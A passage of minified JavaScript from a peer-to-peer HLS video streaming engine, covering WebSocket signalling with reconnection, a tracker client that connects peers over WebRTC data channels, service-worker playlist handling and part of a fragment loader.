this._ws?this._ws.binaryType:this._binaryType},set:function(e){this._binaryType=e,this._ws&&(this._ws.binaryType=e)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"retryCount",{get:function(){return Math.max(this._retryCount,0)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"bufferedAmount",{get:function(){return this._messageQueue.reduce((function(e,t){return"string"==typeof t?e+=t.length:t instanceof Blob?e+=t.size:e+=t.byteLength,e}),0)+(this._ws?this._ws.bufferedAmount:0)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"extensions",{get:function(){return this._ws?this._ws.extensions:""},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"protocol",{get:function(){return this._ws?this._ws.protocol:""},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"readyState",{get:function(){return this._ws?this._ws.readyState:this._options.startClosed?e.CLOSED:e.CONNECTING},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"url",{get:function(){return this._ws?this._ws.url:""},enumerable:!0,configurable:!0}),e.prototype.close=function(e,t){void 0===e&&(e=1e3),this._closeCalled=!0,this._shouldReconnect=!1,this._clearTimeouts(),this._ws?this._ws.readyState!==this.CLOSED?this._ws.close(e,t):this._debug("close: already closed"):this._debug("close enqueued: no ws instance")},e.prototype.reconnect=function(e,t){this._shouldReconnect=!0,this._closeCalled=!1,this._retryCount=-1,this._ws&&this._ws.readyState!==this.CLOSED?(this._disconnect(e,t),this._connect()):this._connect()},e.prototype.send=function(e){if(this._ws&&this._ws.readyState===this.OPEN)this._debug("send",e),this._ws.send(e);else{var t=this._options.maxEnqueuedMessages,r=void 0===t?DEFAULT.maxEnqueuedMessages:t;this._messageQueue.length<r&&(this._debug("enqueue",e),this._messageQueue.push(e))}},e.prototype.addEventListener=function(e,t){this._listeners[e]&&this._listeners[e].push(t)},e.prototype.dispatchEvent=function(e){var t,r,i=this._listeners[e.type];if(i)try{for(var n=__values(i),s=n.next();!s.done;s=n.next()){var a=s.value;this._callEventListener(e,a)}}catch(e){t={error:e}}finally{try{s&&!s.done&&(r=n.return)&&r.call(n)}finally{if(t)throw t.error}}return!0},e.prototype.removeEventListener=function(e,t){this._listeners[e]&&(this._listeners[e]=this._listeners[e].filter((function(e){return e!==t})))},e.prototype._debug=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];this._options.debug&&console.log.apply(console,__spread(["RWS>"],e))},e.prototype._getNextDelay=function(){var e=this._options,t=e.reconnectionDelayGrowFactor,r=void 0===t?DEFAULT.reconnectionDelayGrowFactor:t,i=e.minReconnectionDelay,n=void 0===i?DEFAULT.minReconnectionDelay:i,s=e.maxReconnectionDelay,a=void 0===s?DEFAULT.maxReconnectionDelay:s,o=0;return this._retryCount>0&&(o=n*Math.pow(r,this._retryCount-1))>a&&(o=a),this._debug("next delay",o),o},e.prototype._wait=function(){var e=this;return new Promise((function(t){setTimeout(t,e._getNextDelay())}))},e.prototype._getNextUrl=function(e){if("string"==typeof e)return Promise.resolve(e);if("function"==typeof e){var t=e();if("string"==typeof t)return Promise.resolve(t);if(t.then)return t}throw Error("Invalid URL")},e.prototype._connect=function(){var e=this;if(!this._connectLock&&this._shouldReconnect){this._connectLock=!0;var t=this._options,r=t.maxRetries,i=void 0===r?DEFAULT.maxRetries:r,n=t.connectionTimeout,s=void 0===n?DEFAULT.connectionTimeout:n,a=t.WebSocket,o=void 0===a?getGlobalWebSocket():a;if(this._retryCount>=i)this._debug("max retries reached",this._retryCount,">=",i);else{if(this._retryCount++,this._debug("connect",this._retryCount),this._removeListeners(),!isWebSocket(o))throw Error("No valid WebSocket class provided");this._wait().then((function(){return e._getNextUrl(e._url)})).then((function(t){e._closeCalled||(e._debug("connect",{url:t,protocols:e._protocols}),e._ws=e._protocols?new o(t,e._protocols):new o(t),e._ws.binaryType=e._binaryType,e._connectLock=!1,e._addListeners(),e._connectTimeout=setTimeout((function(){return e._handleTimeout()}),s))}))}}},e.prototype._handleTimeout=function(){this._debug("timeout event"),this._handleError(new ErrorEvent(Error("TIMEOUT"),this))},e.prototype._disconnect=function(e,t){if(void 0===e&&(e=1e3),this._clearTimeouts(),this._ws){this._removeListeners();try{this._ws.close(e,t),this._handleClose(new CloseEvent(e,t,this))}catch(e){}}},e.prototype._acceptOpen=function(){this._debug("accept open"),this._retryCount=0},e.prototype._callEventListener=function(e,t){"handleEvent"in t?t.handleEvent(e):t(e)},e.prototype._removeListeners=function(){this._ws&&(this._debug("removeListeners"),this._ws.removeEventListener("open",this._handleOpen),this._ws.removeEventListener("close",this._handleClose),this._ws.removeEventListener("message",this._handleMessage),this._ws.removeEventListener("error",this._handleError))},e.prototype._addListeners=function(){this._ws&&(this._debug("addListeners"),this._ws.addEventListener("open",this._handleOpen),this._ws.addEventListener("close",this._handleClose),this._ws.addEventListener("message",this._handleMessage),this._ws.addEventListener("error",this._handleError))},e.prototype._clearTimeouts=function(){clearTimeout(this._connectTimeout),clearTimeout(this._uptimeTimeout)},e}();const reconnecting_websocket_mjs=ReconnectingWebSocket,PING_INTERVAL=60,PONG_TIMEOUT=15;class WebsocketClient extends(events_default()){constructor(e,t,r,i,n="main"){super(),this.logger=e,this.config=t,this.wsAddr=r,this.serverVersion=0,this.pingInterval=i||PING_INTERVAL,this._ws=this._init(),this.name=n}_init(){const e={maxRetries:this.config.wsMaxRetries,minReconnectionDelay:randomNum(1e4,6e4),maxReconnectionDelay:6e5,maxEnqueuedMessages:20};let t=new reconnecting_websocket_mjs(this.wsAddr,void 0,e);return t.addEventListener("open",(()=>{this.logger.info(`signal ${this.name} ${this.wsAddr} connection opened`),this.onopen&&this.onopen(),this._startPing(this.pingInterval)})),t.push=t.send,t.send=e=>{let r=JSON.stringify(e);t.push(r)},t.addEventListener("message",(e=>{let t=e.data;const r=JSON.parse(t),i=r.action;if("pong"!==i){if("ver"!==i)return"close"===i?(this.logger.warn(`server close signal ${this.name} reason ${r.reason}`),void this.close()):void(this.onmessage&&this.onmessage(r,this.name));this.serverVersion=r.ver}else clearTimeout(this.pongTimer)})),t.addEventListener("close",(e=>{this.logger.warn(`signal ${this.name} ${this.wsAddr} closed ${e.code} ${e.reason}`),this.onclose&&this.onclose(),this._stopPing()})),t.addEventListener("error",(e=>{this.logger.error(`signal ${this.name} ${this.wsAddr} error`),this._stopPing(),this.onerror&&this.onerror(e)})),t}sendSignal(e,t){const r={action:"signal",to_peer_id:e,data:t};this._send(r)}sendReject(e,t,r){const i={action:"reject",to_peer_id:e,reason:t,fatal:r};this._send(i)}_send(e){this._ws&&this._ws.send(e)}_startPing(e=120){this.connected&&(this.pingTimer=setInterval((()=>{this._send({action:"ping"}),this.serverVersion>=22&&this._waitForPong()}),1e3*e))}_waitForPong(){this.pongTimer=setTimeout((()=>{this.logger.warn(`signal ${this.name} wait for pong timeout, reconnect`),this.close(),this.reconnect()}),1e3*PONG_TIMEOUT)}_resetPing(){this._stopPing(),this._startPing(this.pingInterval)}_stopPing(){clearInterval(this.pingTimer),clearTimeout(this.pongTimer),this.pingTimer=null,this.pongTimer=null}close(){this.logger.info(`close signal ${this.name}`),this._stopPing(),(()=>{this._ws&&this._ws.close(1e3,"normal close")})()}reconnect(){this._ws&&(this.logger.info(`reconnect signal ${this.name}`),this._ws.reconnect())}destroy(){this.close(),this._ws=null,this.removeAllListeners()}get connected(){return!!this._ws&&this._ws.readyState===reconnecting_websocket_mjs.OPEN}}const websocket_client=WebsocketClient,signal_manager_PING_INTERVAL=270,signal_manager=class extends(events_default()){constructor(e,t,r,i){super(),this.logger=e,this.config=t,this.mainAddr=r,this.backupAddr=i,this.mainWS=this._init(r),this.backupWS=this._init(i,"backup"),this._connected=!1}_init(e,t){if(!e)return null;let r=new websocket_client(this.logger,this.config,e,signal_manager_PING_INTERVAL,t);return r.onopen=()=>{!this._connected&&this.onopen&&(this._connected=!0,this.onopen())},r.onmessage=e=>{this.onmessage&&this.onmessage(e,r.name)},r.onclose=()=>{this._connected&&!this.connected&&this.onclose&&(this._connected=!1,this.onclose())},r.onerror=e=>{this.onerror&&this.onerror(e)},r}sendSignal(e,t,r){if(r){const i=this._getWSByName(r);if(i)return void i.sendSignal(e,t)}this.mainConnected?this.mainWS.sendSignal(e,t):this.backupConnected?this.backupWS.sendSignal(e,t):this.logger.warn("no signal available, send signal failed")}sendReject(e,t,r,i){if(i){const n=this._getWSByName(i);if(n)return void n.sendReject(e,t,r)}this.mainConnected?this.mainWS.sendReject(e,t,r):this.backupConnected?this.backupWS.sendReject(e,t,r):this.logger.warn("no signal available, send reject failed")}close(){this.mainWS&&this.mainWS.close(),this.backupWS&&this.backupWS.close()}_getWSByName(e){return this.mainWS&&this.mainWS.name===e?this.mainWS:this.backupWS&&this.backupWS.name===e?this.backupWS:null}reconnect(){this.mainWS&&this.mainWS.reconnect(),this.backupWS&&this.backupWS.reconnect()}destroy(){this.close(),this.mainWS=null,this.backupWS=null,this.removeAllListeners()}get connected(){return this.mainConnected||this.backupConnected}get mainConnected(){return this.mainWS&&this.mainWS.connected}get backupConnected(){return this.backupWS&&this.backupWS.connected}};function getPeersThrottle(e,t,r=70){var i=null,n=!1,s=r;return function(r=!1){if(r)return clearTimeout(i),void(n=!1);n||(n=!0,i=setTimeout((function(){e.call(t,s),n=!1,i=null}),1e3*s),s*=1)}}const utils_getPeersThrottle=getPeersThrottle,MAX_PC_CONNS=25,MAX_MOBILE_CONNS=15,MIN_PEER_SHARE_TIME=30,MAX_TRY_CONNS_TRICKLE=5;class TrackerClient extends(events_default()){constructor(e,t,r,i){super(),this.engine=e,this.logger=e.logger,this.config=i,this.connected=!1,this.scheduler=r,this.sequential=this.scheduler.sequential,this.DCMap=new Map,this.failedDCSet=new Set,this.signalerWs=null,this.fetcher=t,this.peers=[],this.minConns=5,this.stuns=[],this.requestMorePeers=utils_getPeersThrottle(this._requestMorePeers,this),this.engine.maxConns=this.maxConns=platform_default().isMobile()?MAX_MOBILE_CONNS:MAX_PC_CONNS,this.peersIncrement=0,this.gotPeersFromTracker=!1,this.fuseRate=-1}get totalConns(){return this.scheduler.peersNum+1}resumeP2P(){if(!this.fetcher)return;const{engine:e,config:t,fetcher:r}=this,{btAnnounce:i,btAnnouncePreflight:n}=r;(t.geoIpPreflight?n:i).call(r).then((r=>{if(!this.scheduler)return;e.peerId=this.peerId=r.id,this.minConns=r.min_conns;const i=r.peers;this.scheduler.notifyPeersLoaded(i.length);const n=e.netType;let s,a;if((r.wifi_only||t.wifiOnly)&&"wifi"!==n&&"ethernet"!==n&&(this.scheduler.downloadOnly=!0,this.logger.info("downloadOnly mode")),"object"==typeof t.wsSignalerAddr&&t.wsSignalerAddr.main)s=t.wsSignalerAddr.main,a=t.wsSignalerAddr.backup,r.signal&&!r.signal2&&(a=void 0);else{if("string"!=typeof t.wsSignalerAddr){const e=new Error;throw e.err=new Error("invalid wsSignalerAddr"),e}s=t.wsSignalerAddr}this.signalerWs=this._initSignalerWs(r.signal||s,r.signal2||a,r.token,r.token2),0===i.length?this.requestMorePeers():this.peers=this._filterPeers(i),e.emit("peerId",this.peerId);const o=t.getPeerId;o&&"function"==typeof o&&o(this.peerId),r.stun&&r.stun.length>0&&(this.stuns=r.stun),r.debug&&this.logger.enableDebug(),r.fuse_rate&&(this.fuseRate=r.fuse_rate),this.logger.info(`announce request response ${JSON.stringify(r,null,2)}`),e.media&&r.slogan&&appendSlogan(window.atob("U3RyZWFtIGFjY2VsZXJhdGVkIGJ5IENETkJ5ZSBQMlA="),getHomeUrl(),e.media)})).catch((t=>{if("TRACKER_EXPT"===t.code&&e.emit(events.EXCEPTION,t),t.retry){const e=randomNum(3e4,6e4);this.logger.warn(`announce retry after ${e}ms`),this.announceTimer=setTimeout((()=>{this.resumeP2P()}),e)}}))}stopP2P(){this.fetcher.destroy(),this.fetcher=null,this.requestMorePeers(!0),this.scheduler.destroy(),this.scheduler=null,this.signalerWs&&(this.signalerWs.destroy(),this.signalerWs=null),this.peers=[];for(let e of this.DCMap.values())e.destroy(!0);this.DCMap.clear(),this.failedDCSet.clear(),this.logger.warn("tracker stop p2p")}destroy(){this.stopP2P(),this.removeAllListeners(),clearTimeout(this.announceTimer);const{config:e}=this;e.getStats=e.getPeerId=e.getPeersInfo=null,this.logger.warn("destroy tracker")}_filterPeers(e){const t=[],r=[...this.DCMap.keys(),...this.failedDCSet.keys(),this.peerId];return e.filter((e=>!r.includes(e.id))).forEach((e=>{t.push({id:e.id,intermediator:e.intermediator,cpr:e.cpr||void 0})})),t}_tryConnectToAllPeers(){if(0!==this.peers.length&&this.signalerWs.connected)for(this.logger.info(`try connect to ${this.peers.length} peers`);this.peers.length>0;){if(this.DCMap.size>=this.maxConns){this.logger.debug("clear exceeded peers"),this.peers=[];break}let e=this.peers.shift();this.logger.debug(`new DataChannel ${e.id}`);const t=e.intermediator;this._createDatachannel(e.id,!0,t,e.cpr)}}_setupDC(e){e.on(events.DC_SIGNAL,(t=>{const r=e.remotePeerId;if(e.intermediator){const i=this.DCMap.get(e.intermediator);if(i){if(i.sendMsgSignal(r,this.peerId,t))return}}this.signalerWs.sendSignal(r,t,e.signalName)})).on(events.DC_PEER_SIGNAL,(t=>{const r=t.to_peer_id,i=t.from_peer_id,n=t.action;if(r&&i&&n)if(r!==this.peerId){this.logger.info(`relay signal for ${i}`);const s=this.DCMap.get(r);if(s){if("signal"!==n)return void s.sendMsgSignalReject(r,i,t.reason);if(s.sendMsgSignal(r,i,t.data))return}e.sendMsgSignal(i,r)}else"signal"===n?this._handleSignalMsg(i,t,e.remotePeerId):this._handSignalRejected(i,t)})).on(events.DC_GET_PEERS,(()=>{const t=getCurrentTs(),r=this.scheduler.getPeers().filter((e=>e.peersConnected<(e.mobileWeb?MAX_MOBILE_CONNS:MAX_PC_CONNS)));if(r&&r.length>0){const i=[];r.forEach((r=>{const n=t-r.timeJoin;r.remotePeerId!==e.remotePeerId&&r.remotePeerId!==this.peerId&&n>MIN_PEER_SHARE_TIME&&i.push({id:r.remotePeerId})})),this.logger.info(`send ${i.length} peers to ${e.remotePeerId}`),e.sendPeers(i)}})).on(events.DC_PEERS,(t=>{e.gotPeers=!0;const r=t.peers;if(r&&r.length>0){const t=MAX_TRY_CONNS_TRICKLE;this.logger.info(`receive ${r.length} peers from ${e.remotePeerId}`),r.forEach((t=>{t.intermediator=e.remotePeerId})),this.peers=[...this.peers,...this._filterPeers(r).slice(0,t)],this._tryConnectToAllPeers()}})).once(events.DC_ERROR,(t=>{this.logger.info(`datachannel ${e.channelId} failed fatal ${t}`),this.scheduler&&(this.scheduler.deletePeer(e),this._destroyAndDeletePeer(e.remotePeerId,t),this.requestMorePeers(),this.fetcher&&(e.connected||t&&this.fetcher.increFailConns(),t&&this.failedDCSet.add(e.remotePeerId),this._doSignalFusing(this.scheduler.peersNum)))})).once(events.DC_CLOSE,(t=>{this.logger.info(`datachannel ${e.channelId} closed fatal ${t}`),this.scheduler&&(this.scheduler.deletePeer(e),this._doSignalFusing(this.scheduler.peersNum)),this._destroyAndDeletePeer(e.remotePeerId,t),t&&this.failedDCSet.add(e.remotePeerId),this.requestMorePeers()})).once(events.DC_OPEN,(()=>{e.isInitiator&&this.scheduler.handshakePeer(e)})).once(events.DC_METADATA,(t=>{const{scheduler:r}=this;e.isInitiator||r.handshakePeer(e),r.handleMetaData(e,t);const i=r.peersNum,n=i>=this.minConns;this.requestMorePeers(n),this.peersIncrement++,this._doSignalFusing(i+1)}))}_doSignalFusing(e){if(this.fuseRate<=0)return;const t=this.signalerWs.connected;t&&e>=this.fuseRate+2?(this.logger.warn("reach fuseRate, report stats close signaler"),this.totalConns-1>0&&this.fetcher.postStats(),this.signalerWs.close()):!t&&e<this.fuseRate&&(this.logger.warn("low conns, reconnect signaler"),this.signalerWs.reconnect())}_initSignalerWs(e,t,r,i){const n=`?id=${this.peerId}&p=web&d=${location.hostname}&v=2.1.0`;let s,a=`${e}${n}`;if(r&&(a=`${a}&token=${r}`),t&&t!==e){let e=`${t}${n}`;i&&(e=`${e}&token=${i}`),s=new signal_manager(this.logger,this.config,a,e)}else s=new websocket_client(this.logger,this.config,a,270);return s.onopen=()=>{this.connected=!0,this.engine.emit("serverConnected",!0),this._tryConnectToAllPeers()},s.onmessage=(e,t)=>{let r=e.action;const i=e.from_peer_id;switch(r){case"signal":this._handleSignalMsg(i,e,null,t);break;case"reject":this._handSignalRejected(i,e);break;default:this.logger.warn(`Signal websocket unknown action ${r}`)}},s.onclose=()=>{this.connected=!1,this.engine.emit("serverConnected",!1)},s.onerror=e=>{e.message&&this.engine.emit(events.EXCEPTION,err_code_default()(e,"SIGNAL_EXPT"))},s}_handSignalRejected(e,t){this.logger.warn(`signaling ${e} rejected, reason ${t.reason}`);const r=this.DCMap.get(e);r&&!r.connected&&(r.destroy(t.fatal),this.DCMap.delete(e)),this.requestMorePeers(),t.fatal&&this.failedDCSet.add(e)}_handleSignalMsg(e,t,r,i){if(!this.scheduler)return;const{logger:n}=this;if(t.data){if(this.failedDCSet.has(e))return void this._sendSignalReject(e,`peer ${e} in blocked list`,r,i,!0);this._handleSignal(e,t.data,r,i)}else{if(!this._destroyAndDeletePeer(e))return;n.info(`signaling ${e} not found`);const{scheduler:t}=this;t.waitForPeer&&(t.waitingPeers--,0===t.waitingPeers&&t.notifyPeersLoaded(0)),this.requestMorePeers(),this.failedDCSet.add(e)}}_handleSignal(e,t,r,i){const n=t.type,{logger:s}=this;let a=this.DCMap.get(e);if(a){if(a.connected)return void s.info("datachannel had connected, signal ignored");if("offer"===n){if(!(this.peerId>e))return void s.warn(`signal type wrong ${n}, ignored`);this._destroyAndDeletePeer(e,!1),s.warn(`signal type wrong ${n}, convert to non initiator`),a=this._createDatachannel(e,!1,r)}}else{if("answer"===n){const t=`signal type wrong ${n}`;return s.warn(t),this._sendSignalReject(e,t,r,i),void this._destroyAndDeletePeer(e,!1)}s.debug(`receive node ${e} connection request`);const t=this.scheduler.peersNum;if(t>=this.maxConns){const n=this.scheduler.getNonactivePeers();if(!(n.length>0)){const t=`peers reach limit ${this.maxConns}`;return s.warn(t),void this._sendSignalReject(e,t,r,i)}{let e=t-this.maxConns+2;for(n.length<e&&(e=n.length);e>0;){const t=n.shift();t&&(s.warn(`close inactive peer ${t.remotePeerId}`),t.close(!1)),e--}}}a=this._createDatachannel(e,!1,r)}i&&(a.signalName=i),a.receiveSignal(t)}_createDatachannel(e,t,r,i){let n=this.config.trickleICE;const s=new peer(this.engine,this.peerId,e,t,this.config,this.sequential,{stuns:this.stuns,intermediator:r,trickle:n});return i&&(s.cpr=i),this.DCMap.set(e,s),this._setupDC(s),s}_sendSignalReject(e,t,r,i,n){if(r){const i=this.DCMap.get(r);if(i&&i.sendMsgSignalReject(e,this.peerId,t,n))return}this.signalerWs.sendReject(e,t,n,i)}_requestMorePeers(e){const{logger:t}=this;t.info(`requestMorePeers after delay ${e}`);const r=this.scheduler.peersNum,i=this.peersIncrement;this.peersIncrement=0,r>=this.minConns||(0===r||i<=3&&!this.gotPeersFromTracker?(this.failedDCSet.size>30&&(this.failedDCSet=new Set([...this.failedDCSet].slice(-30))),this.fetcher.btGetPeers([...this.DCMap.keys(),...this.failedDCSet.keys()]).then((e=>{t.info(`requestMorePeers resp ${JSON.stringify(e,null,2)}`),this.peers=[...this.peers,...this._filterPeers(e.peers)],this._tryConnectToAllPeers()})).catch((e=>{t.error(`requestMorePeers error ${e}`)})),this.gotPeersFromTracker=!0):r<this.maxConns&&(this.scheduler.requestPeers(),this.gotPeersFromTracker=!1))}_destroyAndDeletePeer(e,t=!0){const r=this.DCMap.get(e);return!!r&&(r.destroy(t),this.DCMap.delete(e),!0)}}const tracker_client=TrackerClient;class HlsSwP2pEngine extends Engine{static get name(){return"HlsSwP2pEngine"}static isSeviceWorkerSupported(){return"serviceWorker"in navigator}constructor(e={}){super(e),this.swSupported=isSecureContext,this.levels=[],this.currentLevelIndex=0,this.rangeTestUrl="",this.currentSrc="",this.swVersion="",this.media=tryGetVideoElement(this.config.videoElem),HlsSwP2pEngine.isSeviceWorkerSupported()||(this.swSupported=!1,console.warn("service worker is not supported"));const{channelIdMaker:t,signalId:r,browserInfo:i}=this.setup();this.onLevelLoaded=e=>{const{config:n}=this,s=e.live;n.live=s,this.targetDuration=e.averagetargetduration,s||(n.trickleICE=!0),this.browserInfo={...i,live:s,abr:this.multiBitrate||void 0,type:"hls_sw"},this.channel=`${t(this.currentSrc)}|${r}[${peer.VERSION}]`,this.setupElectron();const a=this.initLogger();a.info("use HlsSwP2pEngine"),a.info(`engine version: ${engine_base.version} hls-proxy version: ${this.swVersion}`),a.info(`channel ${this.channel}`),s||(n.startSN=e.startSN,n.endSN=e.endSN,a.info(`startSN ${e.startSN} endSN ${e.endSN}`)),this._init(this.channel,this.browserInfo),this.off(hls_de_events.LEVEL_LOADED,this.onLevelLoaded)},this.on(hls_de_events.LEVEL_LOADED,this.onLevelLoaded),this.onManifestParsed=(e,t)=>{this.multiBitrate=e.length>1,this.currentSrc=t,this.off(hls_de_events.MANIFEST_PARSED,this.onManifestParsed)},this.on(hls_de_events.MANIFEST_PARSED,this.onManifestParsed),this.onFragLoaded=({url:e})=>{!this.rangeTested&&this.config.useHttpRange&&(this.rangeTestUrl=e,performRangeRequest(e).then((()=>{this.config.httpRangeSupported=!0,this.config.logger.info("http range is supported")})).catch((()=>{this.config.httpRangeSupported=!1,this.config.logger.warn("http range is not supported")})),this.rangeTested=!0),this.off(hls_de_events.FRAG_LOADED,this.onFragLoaded)},this.once(hls_de_events.FRAG_LOADED,this.onFragLoaded),this.swSupported&&(navigator.serviceWorker.onmessage=e=>{const{action:t,data:r}=e.data;this.logger&&this.logger.info(`engine onmessage action ${t}`);const i=e.ports[0];if(i.postMessage({action:t,pong:!0}),!this.p2pEnabled||!r)return i.postMessage({action:t});switch(t){case hls_de_events.SW_PLAYLIST:this.handlePlaylist(r,i);break;case hls_de_events.SW_GET_PLAYLIST:this.handleGetPlaylist(r,i);break;default:this.config.scheduler&&this.config.scheduler.notifySWMessage(t,r,i)}}),this.config.swAutoRegister&&this.registerServiceWorker().then((function(e){})).catch((e=>{console.warn("ServiceWorker registration failed ",e)}))}get currentLevel(){return this.currentLevelIndex}handlePlaylist(e,t){const{config:r,logger:i}=this,{url:n,text:s,ver:a}=e;if(this.swVersion=a,0!==s.indexOf("#EXTM3U"))return console.warn("no EXTM3U delimiter"),t.postMessage({action:hls_de_events.SW_PLAYLIST});t.postMessage({action:hls_de_events.SW_PLAYLIST,data:{active:!0,debug:i&&i.isDebugLevel,sharePlaylist:!!r.sharePlaylist}}),this._parsePlaylist(s,n.split("?")[0])}_parsePlaylist(e,t){const{config:r,logger:i}=this;if(e.indexOf("#EXTINF:")>0||e.indexOf("#EXT-X-TARGETDURATION:")>0){let i=0;const n=M3U8Parser.parseLevelPlaylist(e,t);this.levels.length>0?(i=this.levels.indexOf(n.url),-1===i?(this.restartP2p(),this.currentSrc=t,i=0):this.currentLevelIndex=i):(""!==this.currentSrc&&t!==this.currentSrc&&this.restartP2p(),this.currentSrc=t,this.levels=[t]),this.emit(hls_de_events.LEVEL_LOADED,n);const{fragMap:s}=r.scheduler;r.live&&s.clear(),n.fragments.forEach((e=>{e.level=i;let t=url_toolkit_default().buildAbsoluteURL(e.baseurl,e.relurl,{alwaysNormalize:!0});const r=e.byteRange;2===r.length&&(t=`${t}|bytes=${r[0]}-${r[1]-1}`),s.set(t,e)})),r.sharePlaylist&&r.scheduler&&r.scheduler.broadcastPlaylist(t.split("?")[0],e)}else{const r=M3U8Parser.parseMasterPlaylist(e,t);""!==this.currentSrc&&this.restartP2p(),r.length>0&&(r.sort(((e,t)=>e.bitrate-t.bitrate)),this.levels=r.map((e=>e.url))),this.emit(hls_de_events.MANIFEST_PARSED,r,t)}}handleGetPlaylist(e,t){const{config:r,logger:i}=this;if(!i)return t.postMessage({action:hls_de_events.SW_GET_PLAYLIST});const{scheduler:n}=r;if(!n)return void i.warn("scheduler not found");const{url:s}=e,a=s.split("?")[0];if(n.playlistInfo.has(a)){const e=n.getPlaylistFromPeer(a);if(e&&e.data){const{data:r,seq:n}=e;return i.info(`got playlist from peer seq ${n}`),t.postMessage({action:hls_de_events.SW_GET_PLAYLIST,data:{text:r}}),void this._parsePlaylist(r,s)}}return t.postMessage({action:hls_de_events.SW_GET_PLAYLIST})}async registerServiceWorker(){const{logger:e,config:t}=this;if(!this.swSupported){let t="sw is not supported";return isHttps||(t="https is required when using ServiceWorker",e.error(t)),Promise.reject(t)}this.media=tryGetVideoElement(this.config.videoElem),this.media||e&&e.warn("no video element found");const{serviceWorker:r}=navigator;return r.getRegistration(t.swFile).then((e=>e||r.register(t.swFile,{scope:t.swScope}).then((e=>{const t=e.installing||e.waiting;return e.active?e:new Promise(((r,i)=>{const n=()=>{"activated"===t.state?(t.removeEventListener("statechange",n),r(e)):"redundant"===t.state&&i("sw is redundant")};t.addEventListener("statechange",n)}))}))))}unregisterServiceWorker(){const{config:e}=this,t="serviceWorker is not registered";return new Promise(((r,i)=>{const{serviceWorker:n}=navigator;n||i(t),n.getRegistration(e.swFile).then((e=>{e?e.unregister().then((()=>{r()})).catch((()=>{i(t)})):i(t)}))}))}_init(e,t){if(!this.p2pEnabled)return;this.bufMgr=new segment_cache(this,this.config);let r=new server(this,this.config.token,encodeURIComponent(e),this.config.announce||"",t);this.fetcher=r,this.config.fetcher=r;let i=new hls_sw_scheduler(this,this.config);i.bufferManager=this.bufMgr,this.tracker=new tracker_client(this,r,i,this.config),this.config.scheduler=this.tracker.scheduler,this.p2pEnabled&&!this.tracker.connected&&this.tracker.resumeP2P(),this.setupWindowListeners()}restartP2p(){this.logger&&this.logger.warn("restart P2P"),this.disableP2P(),this.enableP2P(),this.on(hls_de_events.LEVEL_LOADED,this.onLevelLoaded),this.on(hls_de_events.MANIFEST_PARSED,this.onManifestParsed),this.on(hls_de_events.FRAG_LOADED,this.onFragLoaded)}enableP2P(){return this.p2pEnabled?null:(this.logger&&this.logger.info("enable P2P"),this.config.p2pEnabled=this.p2pEnabled=!0,this)}disableP2P(){this.logger&&this.logger.warn("disable P2P"),this.p2pEnabled&&(this.config.p2pEnabled=this.p2pEnabled=!1,this.tracker&&(this.tracker.stopP2P(),this.tracker={},this.fetcher=null,this.bufMgr.destroy(),this.bufMgr=null)),this.levels=[],this.currentLevelIndex=0,this.lastLevel=0,this.multiBitrate=!1,this.rangeTested=!1,this.rangeTestUrl="",this.currentSrc="",this.media=void 0,this.config.live=!1,this.removeAllListeners(hls_de_events.MANIFEST_PARSED)}}const hls_sw_p2pengine=HlsSwP2pEngine;function isBlockType(e,t){const r=url_toolkit_default().parseURL(e),i=r.path.substring(r.path.lastIndexOf(".")+1);return-1!==t.indexOf(i)}function createLoadStats(){const e=performance.now();return{trequest:e,tfirst:0,tload:0,aborted:!1,loaded:0,retry:0,total:0,chunkCount:0,bwEstimate:0,loading:{start:e,first:0,end:0},parsing:{start:0,end:0},buffering:{start:0,first:0,end:0}}}function updateLoadStats(e,t){let r,i,n,s,a;const o=performance.now();r=o-300,i=o-200,n=o,e.trequest=r,e.tfirst=i,e.tload=n,e.loading={first:r,start:i,end:n},s=a=t,e.loaded=s,e.total=a}const frag_loader_MIN_TIME_FOR_LOAD=6,frag_loader_MAX_TIME_FOR_WAIT=5.5;class FragLoader extends(events_default()){constructor(e){super(),this.logger=e.logger;const{scheduler:t,fetcher:r,p2pBlackList:i,isHlsV0:n}=window.__p2p_loader__;this.isHlsV0=n,this.bufMgr=e.bufMgr,this.xhrLoader=new e.loader(e),this.p2pEnabled=e.p2pEnabled,this.isLive=e.live,this.scheduler=t,this.fetcher=r,this.segmentId=e.segmentId,this.blockTypes=i,this.forbidden=r.forbidden,this.stats=this.xhrLoader.stats||createLoadStats()}destroy(){this.xhrLoader.destroy()}abort(){this.xhrLoader.abort()}load(e,t,r){const{logger:i,scheduler:n}=this,s=e.frag;this.isHlsV0||(s.stats=this.stats);let a=e.frag.segId;if(!a){let t;e.rangeEnd&&(t="bytes="+e.rangeStart+"-"+(e.rangeEnd-1)),a=e.frag.segId=this.segmentId(String(s.level),s.sn,s.url,t)}if(!s.url||isBlockType(s.url,this.blockTypes))return i.info(`HTTP load blockType ${s.url}`),e.frag.loadByHTTP=!0,this.xhrLoader.load(e,t,r);if(this.forbidden)return;t.maxRetry=2;const o=n.getBufferedDuration();if(this.p2pEnabled&&this.bufMgr.hasSegOfId(a)){i.info(`bufMgr found seg sn ${s.sn} segId ${a} level ${s.level}`);let t=this.bufMgr.getSegById(a);const n=copyBuffer(t.data);let o=new Uint8Array(n).buffer,l={url:e.url,data:o};updateLoadStats(this.stats,t.size),s.loaded=t.size,s.loadByP2P=!0,e.frag.fromPeerId=t.fromPeerId,queue_microtask_default()((()=>{!this.isHlsV0&&r.onProgress&&r.onProgress(this.stats,e,l.data),r.onSuccess(l,this.stats,e)}))}else if(this.p2pEnabled&&n.hasAndSetTargetPeer(s.sn,s.level,o))this.loadFragByP2p(e,t,r,a);else if(i.info(`fragLoader load ${a} at ${s.sn} level ${s.level} buffered ${o}`),this.isLive&&n.hasIdlePeers&&o>frag_loader_MIN_TIME_FOR_LOAD&&n.shouldWaitForNextSeg()){let l=o-frag_loader_MIN_TIME_FOR_LOAD;l>frag_loader_MAX_TIME_FOR_WAIT&&(l=frag_loader_MAX_TIME_FOR_WAIT);const d=i=>{a===i&&(n.off(hls_de_events.SCH_DCHAVE,d),clearTimeout(this.waitTimer),n.hasAndSetTargetPeer(s.sn,s.level,o)?this.loadFragByP2p(e,t,r,a):this.loadFragByHttp(e,t,r,a))};i.info(`wait peer have for 